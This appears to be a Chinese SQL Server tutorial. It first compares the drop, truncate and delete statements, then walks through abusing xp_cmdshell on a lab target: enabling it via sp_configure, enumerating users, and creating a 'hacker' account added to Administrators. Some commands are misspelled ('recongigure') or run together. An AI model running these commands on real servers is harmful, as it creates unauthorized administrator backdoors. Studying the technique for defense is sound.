目录
一、sqlserver中drop、truncate和delete语句的用法
1.drop(删的一干二净)
drop table 表名
- 作用:删除表内容和结构,释放空间,没有备份表之前要慎用;
- 实例:我们创建一个student表,然后再用drop
- 给student表插入数据
- 执行drop table student 将其删除,可以student表就被完全删除
2.truncate(清空表中的数据)
truncate table 表名
作用:删除表的内容,表的结构存在,可以释放空间,没有备份表之前要慎用,同时在truncate中,添加WHERE子句是不可能的。
(1)实例:还是student表表中存有数据,我们使用truncate删除student表。
可以看到表中的数据被清空,但是表结构还在,说明执行语句之后,发现数据表的结构还在,也就是不删除定义
(2)实例:
使用delete删除yh5,然后发现表中sid标识列不连续(体现了delete删除是不释放空间的),先用delete删除表中数据,然后在填入数据发现表中sid标识列不连续,这体现了delete删除是不释放空间的。
然后我们再用
truncate table student
删除数据,在重新插入数据,同样sid是标识列,发现插入数据的时候,标识列连续了(体现了truncate删除是释放空间)注意:truncate 不能删除行数据,要删就要把表清空
3.delete(不释放空间)
- 作用
- 删除指定数据,删除整个表,仅删除表test内的所有内容,保留表的定义,不释放空间。
delete from student where name='yh5';
可以查看truncate中的实例delete from student;
或delete * from student
4.相同与不同
相同点:
drop、delete、truncate 都是删除表的内容。
不同点:
delete:删除表的内容,表的结构还存在,不释放空间,可以回滚恢复;
drop:删除表内容和结构,释放空间,没有备份表之前要慎用;
truncate:删除表的内容,表的结构存在,可以释放空间,没有备份表之前要慎用;
执行速度:drop > truncate > delete
二、xp_cmdshell 利用
1.SQL Server存储过程
存储过程是指为了完成特定的功能由一条或多条sql语句组成的集合,这些语句集合可以被多次调用,类似于批处理文件,通常指定一个名称进行存储,经系统进行编译后存储到数据库的服务器中,作为数据库的对象,形成一个处理单元,存储过程创建之后,用户通过指定存储过程名称与参数,调用该存储过程并且执行,在调用的过程中允许用户声明变量,设置条件,以便增强程序设计的能力。相当于调用函数,创建存储过程是面向开发者的。
2.xp_cmdshell 提权原理与远程连接
利用xp_cmdshell 建立文件
use master
使用系统数据库RECONFIGURE;
刷新权限exec sp_configure 'show advanced options',1;
打开系统高级设置RECONFIGURE;
再次刷新权限exec sp_configure 'xp_cmdshell',1;
打开以操作系统命令行解释器的方式执行给定的命令字符串RECONFIGURE;
再次刷新权限exec xp_cmdshell 'mkdir c:\myfile',no_output;
在c盘下创建文件
利用xp_cmdshell建立远程连接
首先打开sql server 远程登录,修改后重启服务
SQL Server (MSSQLSERVER)
exec xp_cmdshell 'whoami'
查看当前使用用户exec xp_cmdshell 'net user'
查看电脑上的用户组exec xp_cmdshell 'net user hacker 123456 /add';
创建hacker用户exec xp_cmdshell 'net localgroup Administrators hacker /add';
将其加入到管理员组中
打开
exec sp_configure 'show advanced options',1;
recongigure
关闭
exec sp_configure 'xp_cmdshell',0
;recongigure
关闭
exec sp_configure 'show advanced options',0;
recongigure
要求靶机实际:需要满足以下条件 (很少能满足)
1、xp_configure设置 两个 show advanced options,xp_cmdshell 设置为1
2、执行net user add 设置服务的本地用户